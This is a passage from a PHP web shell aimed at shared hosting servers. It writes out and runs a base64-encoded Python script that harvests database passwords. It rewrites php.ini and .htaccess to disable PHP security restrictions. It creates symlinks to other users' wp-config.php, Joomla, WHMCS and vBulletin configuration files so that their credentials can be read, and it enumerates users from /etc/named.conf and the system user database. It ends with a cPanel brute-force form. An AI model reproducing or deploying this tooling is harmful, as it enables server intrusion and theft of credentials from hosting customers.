9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
  1242. $file = fopen("cp.py","w+");
  1243. $write = fwrite ($file ,base64_decode($cp));
  1244. fclose($file);
  1245. chmod("cp.py",0755);
  1246. $url = $_POST['url'];
  1247. echo"<center>
  1248. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  1249. system("python cp.py $url config");
  1250. unlink ('cp.py');
  1251. echo"</textarea>
  1252. </center>";
  1253. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1254. exit;
  1255. }
  1256. if($_POST['matikan']=='sekatan'){
  1257. @error_reporting(0);
  1258. $phpini =
  1259. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  1260. $file = fopen("php.ini","w+");
  1261. $write = fwrite ($file ,base64_decode($phpini));
  1262. fclose($file);
  1263. $htaccess =
  1264. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  1265. $file = fopen(".htaccess","w+");
  1266. $write = fwrite ($file ,base64_decode($htaccess));
  1267. echo "<hr><center><b>DONE!";
  1268. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1269. exit;
  1270. }
  1271. if($_POST['mendapatkan']=='passwd'){
  1272. @set_magic_quotes_runtime(0);
  1273. ob_start();
  1274. error_reporting(0);
  1275. @set_time_limit(0);
  1276. @ini_set('max_execution_time',0);
  1277. @ini_set('output_buffering',0);
  1278. $fn = $_POST['foldername'];
  1279. //all function here
  1280. function syml($usern,$pdomain)
  1281. {
  1282. symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1283. symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1284. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1285. symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1286. symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1287. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1288. symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1289. symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1290. symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1291. symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1292. symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1293. symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1294. symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1295. symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1296. symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1297. symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1298. symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1299. symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1300. symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1301. symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1302. symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1303. symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1304. symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1305. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1306. symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1307. symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1308. symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1309. symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1310. symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1311. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1312. symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1313. symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1314. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1315. symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1316. symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1317. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1318. symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1319. symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1320. symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1321. symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1322. symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1323. symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1324. symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1325. symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1326. symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1327. symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1328. symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1329. symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1330. symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1331. symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1332. symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1333. symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1334. symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1335. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1336. symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1337. symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1338. symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1339. symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1340. symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1341. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1342. symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1343. symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1344. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1345. symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1346. symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1347. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1348. symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1349. symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1350. symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1351. symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1352. symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1353. symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1354. symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1355. symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1356. symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1357. symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1358. symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1359. symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1360. symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1361. symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1362. symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1363. symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1364. symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1365. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1366. symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1367. symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1368. symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1369. symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1370. symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1371. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1372. symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1373. symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1374. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1375. symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1376. symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1377. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1378. symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1379. symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1380. symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1381. symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1382. symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1383. symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1384. symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1385. symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1386. symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1387. symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1388. symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1389. symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1390. symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1391. symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1392. symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1393. symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1394. symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1395. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1396. symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1397. symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1398. symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1399. symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1400. symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1401. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1402. symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1403. symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1404. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1405. symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1406. symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1407. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1408. symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1409. symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1410. symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1411. symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1412. symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1413. symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1414. symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1415. symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1416. symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1417. symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1418. symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1419. symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1420. symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1421. symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1422. symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1423. symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1424. symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1425. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1426. symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1427. symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1428. symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1429. symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1430. symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1431. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1432. symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1433. symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1434. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1435. symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1436. symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1437. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1438. symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1439. symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1440. symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1441. symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1442. symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1443. symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1444. symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1445. symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1446. symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1447. symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1448. symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1449. symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1450. symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1451. symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1452. symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1453. symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1454. symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1455. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1456. symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1457. symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1458. symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1459. symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1460. symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1461. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1462. symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  1463. symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  1464. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  1465. symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  1466. symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  1467. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  1468. symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  1469. symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  1470. symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  1471. symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  1472. symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  1473. symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  1474. symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  1475. symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  1476. symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  1477. symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  1478. symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  1479. symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  1480. symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  1481. symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  1482. symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  1483. symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  1484. symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  1485. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  1486. symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  1487. symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  1488. symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  1489. symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  1490. symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  1491. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  1492. }
  1493. $d0mains = @file("/etc/named.conf");
  1494. if($d0mains)
  1495. {
  1496. mkdir($fn);
  1497. chdir($fn);
  1498. foreach($d0mains as $d0main)
  1499. {
  1500. if(eregi("zone",$d0main))
  1501. {
  1502. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1503. flush();
  1504. if(strlen(trim($domains[1][0])) > 2)
  1505. {
  1506. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1507. syml($user['name'],$domains[1][0]);
  1508. }
  1509. }
  1510. }
  1511. echo "<center><font color=lime size=3>[ Done ]</font></center>";
  1512. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  1513. }
  1514. else
  1515. {
  1516. mkdir($fn);
  1517. chdir($fn);
  1518. $temp = "";
  1519. $val1 = 0;
  1520. $val2 = 1000;
  1521. for(;$val1 <= $val2;$val1++)
  1522. {
  1523. $uid = @posix_getpwuid($val1);
  1524. if ($uid)
  1525. $temp .= join(':',$uid)."\n";
  1526. }
  1527. echo '<br/>';
  1528. $temp = trim($temp);
  1529. $file5 = fopen("test.txt","w");
  1530. fputs($file5,$temp);
  1531. fclose($file5);
  1532. $htaccess =
  1533. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  1534. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  1535. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  1536. ';
  1537. $file = fopen(".htaccess","w+");
  1538. $write = fwrite ($file ,base64_decode($htaccess));
  1539. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  1540. while(!feof($file))
  1541. {
  1542. $s = fgets($file);
  1543. $matches = array();
  1544. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1545. $matches = str_replace("home/","",$matches[1]);
  1546. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1547. continue;
  1548. syml($matches,$matches);
  1549. }
  1550. fclose($file);
  1551. echo "</table>";
  1552. unlink("test.txt");
  1553. echo "<center><font color=lime size=3>[ Done ]</font></center>";
  1554. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  1555. }
  1556. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1557. exit;
  1558. }
  1559. ?>
  1560. <form method="POST" target="_blank">
  1561. <strong>
  1562. <input name="page" type="hidden" value="find"><table>
  1563. </strong><br><br><center><font size="5" style="italic" color="#00ff00">+--==[ Cpanel BruteForce ]==--+</font></center><br><br>
  1564. <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  1565. <tr>
  1566. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1567. <center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
  1568. <tr>
  1569. <td>
  1570. <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  1571. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1572. <strong>User :</strong></td>
  1573. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
  1574. </tr>
  1575. <tr>
  1576. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1577. <strong>Pass :</strong></td>
  1578. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
  1579. </tr>
  1580. <tr>
  1581. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1582. <strong>Type :</strong></td>
  1583. <td valign="top" bgcolor="#151515" colspan="5">
  1584. <span class="style2"><strong>Simple : </strong> </span>
  1585. <strong>
  1586. <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  1587. <font class="style2"><strong>/etc/passwd : </strong> </font>
  1588. <strong>
  1589. <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
